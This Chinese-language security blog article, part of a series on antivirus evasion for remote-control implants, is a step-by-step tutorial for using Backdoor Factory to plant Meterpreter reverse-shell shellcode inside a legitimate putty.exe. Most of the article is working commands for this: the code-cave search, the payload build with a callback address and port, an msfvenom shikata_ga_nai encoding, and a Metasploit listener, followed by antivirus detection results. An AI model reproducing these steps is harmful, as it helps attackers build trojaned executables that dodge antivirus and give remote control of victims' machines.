远控免杀专题(8)-BackDoor-Factory免杀(VT免杀率13/71)

2020-04-17 10,349

本专题文章导航

1、远控免杀专题文章(1)-基础篇:https://www.secpulse.com/archives/123295.html

2、远控免杀专题文章(2)-msfvenom隐藏的参数:https://www.secpulse.com/archives/123300.html

3、远控免杀专题文章(3)-msf自带免杀(VT免杀率35/69):https://www.secpulse.com/archives/123315.html

4、远控免杀专题文章(4)-Evasion模块(VT免杀率12/71):https://www.secpulse.com/archives/123339.html

5、远控免杀专题(5)-Veil免杀(VT免杀率23/71):https://www.secpulse.com/archives/127186.html

6、远控免杀专题(6)-Venom免杀(VT免杀率11/71):https://www.secpulse.com/archives/127297.html

7、远控免杀专题(7)-Shellter免杀(VT免杀率7/69):https://www.secpulse.com/archives/127713.html

8、远控免杀专题(8)-Shellter免杀(VT免杀率7/69):本文

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus

免杀能力一览表


几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。

5、完全不必要苛求找一种能bypass所有杀软的免杀技术,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。


一、BDF介绍

BackDoor-factory,又称后门工厂(BDF),BDF是也是一款老牌的免杀神器,其作者曾经在2015年的blackhat大会上介绍过该工具。但是作者已经于2017年停止更新,免杀效果就算现在来看也还算不错的。

原理:可执行二进制文件中有大量的00,这些00是不包含数据的,将这些数据替换成payload,并且在程序执行的时候,jmp到代码段,来触发payload

二、安装BDF

官方地址:

https://github.com/secretsquirrel/the-backdoor-factory

方法一、如果使用kali或parrot,系统中已经安装好了BDF。

如果找不到的话可以使用locate命令查找一下

parrot里自带的BDF版本为3.4.2,也是官方发布的最后一个版本。

方法二、如果系统里没有安装,则需要手动安装

ubuntu里可以直接

apt-get update
apt-get install backdoor-factory

但是BDF依赖的软件也是比较多的,安装可能比较容易出错。

方法三、使用docker

BDF作者也考虑到安装容易出问题,所以提供了docker环境

docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

docker里的版本为3.4.0,不算是最新版本,不过影响不大。

三、直接生成免杀后门(VT免杀率13/71)

backdoor-factory是把shellcode插入到一个正常的exe文件的代码"缝隙"中,类似于捆绑但不是捆绑,所以需要提前准备一个被捆绑的宿主exe文件,我这是还是用之前的putty.exe为例。

执行python backdoor.py

3.1、首先检查宿主ece能否被支持

在"捆绑"之前,BDF需要检查一下宿主exe能否被支持"插入"shellcode。

主要使用下面两个参数

-f:指定测试程序
-S:检查该程序是否支持

检查命令:

python backdoor.py -f /root/putty.exe -S

说明putty.exe可以被支持。

3.2、搜索该文件可用的Code Caves(代码缝隙)

使用命令./backdoor.py -f test.exe -c -l 600

-c:code cave(代码裂缝)
-l:代码裂缝大小

发现4个可用代码缝隙,一般shellcode大小300字节,所以选择一个适当的缝隙就可以。

3.3、获取该文件的可用payload

./backdoor.py -f /root/putty.exe -s -show

如上图所示,会有很多的可利用payload。

cave_miner_inline:作为payload模板,长度为135,仅实现了控制流程跳转,不做其他操作,可用作自定义开发shellcode的模板

reverse_shell_tcp_inline:对应的msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp

meterpreter_reverse_https_threaded:对应的msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_https

iat_reverse_tcp_inline中的iat:iat为Import Address Table(导入地址表)的缩写,如果PE文件的IAT不包含API LoadLibraryA和GetProcAddress,直接执行payload reverse_shell_tcp_inline会失败iat_reverse_tcp_inline增加了修复IAT的功能,避免执行失败

iat_reverse_tcp_stager_threaded:增加了修复IAT的功能

user_supplied_shellcode_threaded:对应的msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp``自定义shellcode

3.4、生成payload

推荐使用的命令:

./backdoor.py  -f ~/putty.exe -s iat_reverse_tcp_stager_threaded -H 10.211.55.2 -P 3333 -J -o  payload.exe

-c:code cave(代码裂缝)

-l:代码裂缝大小

-s:选择使用 payload 类型

-H:选择回连服务器地址

-P:回连服务器端口

-J:使用多代码裂缝注入

选择一个代码段进行插入shellcode,最后就可以生产新的后门程序。

3.5、免杀测试

运行payload.exe,发现360卫士和杀毒可查杀,火绒未检测到病毒。

virustotal.com中13/69个报毒

四、使用自己定义的shellcode(VT免杀率14/71)

先用msfvenom生成raw格式的shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -i 5 -f raw -o shellcode.c

使用backdoor的user_supplied_shellcode_threaded模块加载自定义的shellcode

./backdoor.py -f /root/putty.exe -s user_supplied_shellcode_threaded -U /root/shellcode.c  -o payload2.exe

msf监听可上线

msf > use exploit/multi/handle
rmsf exploit(handler) > set payload windows/meterpreter/reverse_tcp 
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.211.55.2
lhost => 10.211.55.2
msf exploit(handler) > set lport 3333
lport => 3333
msf exploit(handler) > exploit

但是360依然可以查杀

virustotal.com中14/71个报毒

五、小结

利用backdoor-factory使用,用户可以在不破坏原有可执行文件的功能的前提下,在文件的代码裂隙中插入恶意代码Shellcode。当可执行文件被执行后,就可以触发恶意代码。Backdoor Factory不仅提供常用的脚本,还允许嵌入其他工具生成的Shellcode,如Metasploit。

该工具还有很强大的一些其他功能,比如加私钥证书、CPT等等,虽然目前软件已经不再更新,但免杀效果至今依然不错也能管中窥豹看到它的强悍之处。

六、参考资料

利用BDF向EXE文件植入后门:https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91EXE%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/

backdoor-factory使用简介:https://www.lstazl.com/backdoor-factory%E4%BD%BF%E7%94%A8%E7%AE%80%E4%BB%8B/

backdoor-factory使用:https://www.cnblogs.com/-qing-/p/11421709.html


官方网站:www.ms08067.com

本文作者:TideSec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/128628.html

Tags:
评论  (0)
快来写下你的想法吧!

TideSec

文章数:145 积分: 185

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号